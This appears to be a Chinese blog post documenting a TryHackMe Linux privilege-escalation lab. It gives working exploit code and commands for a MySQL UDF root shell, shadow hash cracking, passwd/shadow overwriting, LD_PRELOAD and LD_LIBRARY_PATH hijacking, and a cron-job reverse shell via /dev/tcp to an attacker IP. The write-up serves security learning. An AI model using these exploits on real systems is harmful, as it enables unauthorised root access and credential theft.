linux提权学习(一)

admin 2024年1月4日21:38:54评论30 views字数 14781阅读49分16秒阅读模式

Linux提权

linux提权常用方式包括passwd文件提权、shadow文件提权、SUID提权、Cron Jobs提权、通配符注入提权、sudo提权、查找敏感文件提权、跳板用户提权、内核漏洞提权等,利用tryhackme的靶机学习下这些提权方式(https://tryhackme.com/room/linuxprivesc)

mysql服务漏洞提权

通过自定义库函数来实现执行任意的命令,包含用户自定义函数的文件为.so文件

前提条件:

在my.ini的【mysqld】下,添加secure_file_priv="",不限制导入导出路径

具有数据库root账户的密码,且mysql数据库以root权限运行

具有sql语句的执行权限

导出目录可写

系统中的seliunx处于关闭状态

提权过程

打开靶机和攻击机发现已经部署好了环境,且已写入了c文件

user@debian:~/tools/mysql-udf$ clear

user@debian:~/tools/mysql-udf$ ls
raptor_udf2.c
user@debian:~/tools/mysql-udf$ cat raptor_udf2.c 
/*
 * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
 *
 * raptor_udf2.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2006 Marco Ivaldi <[email protected]>
 *
 * This is an helper dynamic library for local privilege escalation through
 * MySQL run with root privileges (very bad idea!), slightly modified to work 
 * with newer versions of the open-source database. Tested on MySQL 4.1.14.
 *
 * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
 *
 * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
 * for the security vulnerabilities in the handling of User Defined Functions
 * (UDFs) reported by Stefano Di Paola <[email protected]>. For further
 * details, please refer to:
 *
 * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
 * http://www.wisec.it/vulns.php?page=4
 * http://www.wisec.it/vulns.php?page=5
 * http://www.wisec.it/vulns.php?page=6
 *
 * "UDFs should have at least one symbol defined in addition to the xxx symbol 
 * that corresponds to the main xxx() function. These auxiliary symbols 
 * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and 
 * xxx_add() functions"
. -- User Defined Functions Security Precautions 
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> ! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 *
 * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
 *
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
 unsigned int  arg_count; // number of arguments
 enum Item_result *arg_type; // pointer to item_result
 char    **args;  // pointer to arguments
 unsigned long  *lengths; // length of string args
 char   *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
 char   maybe_null; // 1 if func can return NULL
 unsigned int  decimals; // for real functions
 unsigned long   max_length; // for string functions
 char   *ptr;  // free ptr for func data
 char   const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
 if (args->arg_count != 1)
  return(0);

 system(args->args[0]);

 return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
 return(0);
}

// milw0rm.com [2006-02-20]

编译该文件

user@debian:~/tools/mysql-udf$ gcc -g -c raptor_udf2.c -fPIC
user@debian:~/tools/mysql-udf$ ls
raptor_udf2.c  raptor_udf2.o
user@debian:~/tools/mysql-udf$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
user@debian:~/tools/mysql-udf$ ls
raptor_udf2.c  raptor_udf2.o  raptor_udf2.so

靶机设置root用户空白密码登录mysql,连接mysql

mysql -u root

在mysql里面执行以下命令,使用我们编译的漏洞创建用户定义函数(UDF)"do_system"

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)

使用函数do_system将/bin/bash复制到/tmp/root/bash并设置SUID权限

mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
+------------------------------------------------------------------+
| do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash') |
+------------------------------------------------------------------+
|                                                                0 |
+------------------------------------------------------------------+
1 row in set (0.01 sec)

退出mysql,运行/tmp/rootbash可执行文件以获得root权限的shell

user@debian:/tmp$ ls
backup.tar.gz  rootbash  useless
user@debian:~/tmp$ /tmp/rootbash -p
rootbash-4.1# whoami&&id
root
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

可读/etc/shadow

/etc/shadow文件包含用户密码hash,通常只能由root读取。

修改权限读取/etc/shadow

user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::

将root用户的hash值保存为txt

root@ip-10-10-158-83:~# cat hash.txt 
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0

使用john进行破解

root@ip-10-10-158-83:~# ls -al /usr/share/wordlists/rockyou.txt 
-rw------- 1 root root 139921497 Sep 23  2015 /usr/share/wordlists/rockyou.txt
root@ip-10-10-158-83:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)
1g 0:00:00:02 DONE (2024-01-04 05:55) 0.3584g/s 550.5p/s 550.5c/s 550.5C/s cuties..mexico1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到密码password123,su登录root

可写/etc/shadow

如/etc/shadow文件可写,使用工具生成新的密码hash

user@debian:~$ mkpasswd -m sha-512 kali
$6$/aRam.gibEpWtEk$76nVWt2BzJx/XqEuUby3qdUfbwRTF36GYhq./d5F5LoMlUsIUYF157PBVTnXrVuD06wcQlaMY1.0Y8vOyUVxq1

编辑/etc/shadow文件,替换root用户的hash

user@debian:~$ cat /etc/shadow
root:$6$/aRam.gibEpWtEk$76nVWt2BzJx/XqEuUby3qdUfbwRTF36GYhq./d5F5LoMlUsIUYF157PBVTnXrVuD06wcQlaMY1.0Y8vOyUVxq1:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::

使用新密码登录root

可写/etc/passwd

如/etc/passwd文件可写,使用工具生成密码hash

user@debian:~$ openssl passwd root
1F12jtQYEe522

编辑/etc/passwd替换passwd的密码hash

user@debian:~$ cat /etc/passwd
root:1F12jtQYEe522:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false

登录root用户

环境变量

使用sudo -l检查user用户继承了那些环境变量

user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more

LD_PRELOAD是一个环境变量,允许在程序加载库时优先加载指定的共享库,即在程序运行时预先加载一个特定的共享库,覆盖系统默认的库。这个特性常用于程序调试、性能分析、劫持系统调用等目的。通过设置"LD_PRELOAD"环境变量,可以强制一个特定的共享库在其他共享库之前被加载。这样可以用自定义的函数替换标准库函数,或者在运行时为程序注入一些功能。

"LD_LIBRARY_PATH"环境变量之一,用于指定动态链接器在程序加载动态链接库(共享库)时搜索的路径顺序。当程序需要加载动态链接库时,系统会按照一定的搜索顺序在指定的路径下查找所需的库文件。"LD_LIBRARY_PATH"可以用来指定额外的路径,告诉系统这些路径下寻找动态链接库。使用"LD_LIBRARY_PATH"变量可以使程序在运行时动态加载所需的库,从而改变程序默认搜索库的路径。

LD_PRELOAD和LD_LIBRARY_PATH都是从用户环境继承,LD_PRELOAD 在任何其他对象之前加载共享对象。LD_LIBRARY_PATH 提供首先搜索共享库的目录列表。

user@debian:~/tools/sudo$ ls
library_path.c  preload.c
user@debian:~/tools/sudo$ cat preload.c 
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
 unsetenv("LD_PRELOAD");
 setresuid(0,0,0);
 system("/bin/bash -p");
}
user@debian:~/tools/sudo$ cat library_path.c 
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
 unsetenv("LD_LIBRARY_PATH");
 setresuid(0,0,0);
 system("/bin/bash -p");
}

使用gcc编译preload.c

user@debian:~/tools/sudo$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c 
user@debian:~/tools/sudo$ ls -al /tmp
total 116
drwxrwxrwt  2 root root  4096 Jan  4 02:53 .
drwxr-xr-x 22 root root  4096 Aug 25  2019 ..
-rw-r--r--  1 root root 94636 Jan  4 02:53 backup.tar.gz
-rwxr-xr-x  1 user user  3857 Jan  4 02:53 preload.so
-rw-r--r--  1 root root    28 Jan  4 02:53 useless

通过sudo运行程序,同时将LD_PRELAOD环境变量设置为新共享对象的完整路径

user@debian:~/tools/sudo$ sudo LD_PRELOAD=/tmp/preload.so iftop
root@debian:/home/user/tools/sudo# id
uid=0(root) gid=0(root) groups=0(root)

使用ldd查看apache2使用了那些共享库

user@debian:~/tools/sudo$ ldd /usr/sbin/apache2
 linux-vdso.so.1 =>  (0x00007fff935ff000)
 libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f9af22a2000)
 libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f9af207e000)
 libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f9af1e44000)
 libpthread.so.0 => /lib/libpthread.so.0 (0x00007f9af1c28000)
 libc.so.6 => /lib/libc.so.6 (0x00007f9af18bc000)
 libuuid.so.1 => /lib/libuuid.so.1 (0x00007f9af16b7000)
 librt.so.1 => /lib/librt.so.1 (0x00007f9af14af000)
 libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f9af1278000)
 libdl.so.2 => /lib/libdl.so.2 (0x00007f9af1073000)
 libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f9af0e4b000)
 /lib64/ld-linux-x86-64.so.2 (0x00007f9af275f000)

使用library_path.c的代码创建与libcrypt.so.1同名的共享对象

user@debian:~/tools/sudo$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c 
user@debian:~/tools/sudo$ ls -al /tmp
total 124
drwxrwxrwt  2 root root  4096 Jan  4 03:03 .
drwxr-xr-x 22 root root  4096 Aug 25  2019 ..
-rw-r--r--  1 root root 94636 Jan  4 03:03 backup.tar.gz
-rwxr-xr-x  1 user user  6324 Jan  4 03:03 libcrypt.so.1
-rwxr-xr-x  1 user user  3857 Jan  4 02:53 preload.so
-rw-r--r--  1 root root    28 Jan  4 03:03 useless

通过sudo运行apache2,同时将LD_LIBRARY_PATH环境变量设置为共享对象的路径/tmp

user@debian:~/tools/sudo$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/libaprutil-1.so.0)
root@debian:/home/user/tools/sudo# id
uid=0(root) gid=0(root) groups=0(root)

计划任务——文件权限

crontab是linux的计划任务,通过编辑'crontab',用户可以指定在特定的时间、日期或间隔执行特定的命令或脚本。

查看计划任务crontab的内容

user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

在计划任务中存在一个overwrite.sh,查找该程序完整路径

user@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 1328.9 days)
/usr/local/bin/overwrite.sh
user@debian:~$ cat /usr/local/bin/overwrite.sh
#!/bin/bash

echo `date` > /tmp/useless

修改overwrite.sh的内容

user@debian:~$ cat /usr/local/bin/overwrite.sh
#!/bin/bash
bash -i >& /dev/tcp/10.2.98.234/4444 0>&1

nc开启监听

┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.2.98.234] from (UNKNOWN) [10.10.35.243] 60343
bash: no job control in this shell
root@debian:~# id
id
uid=0(root) gid=0(root) groups=0(root)

原文始发于微信公众号(安全小白):linux提权学习(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月4日21:38:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   linux提权学习(一)http://cn-sec.com/archives/2364342.html

发表评论

匿名网友 填写信息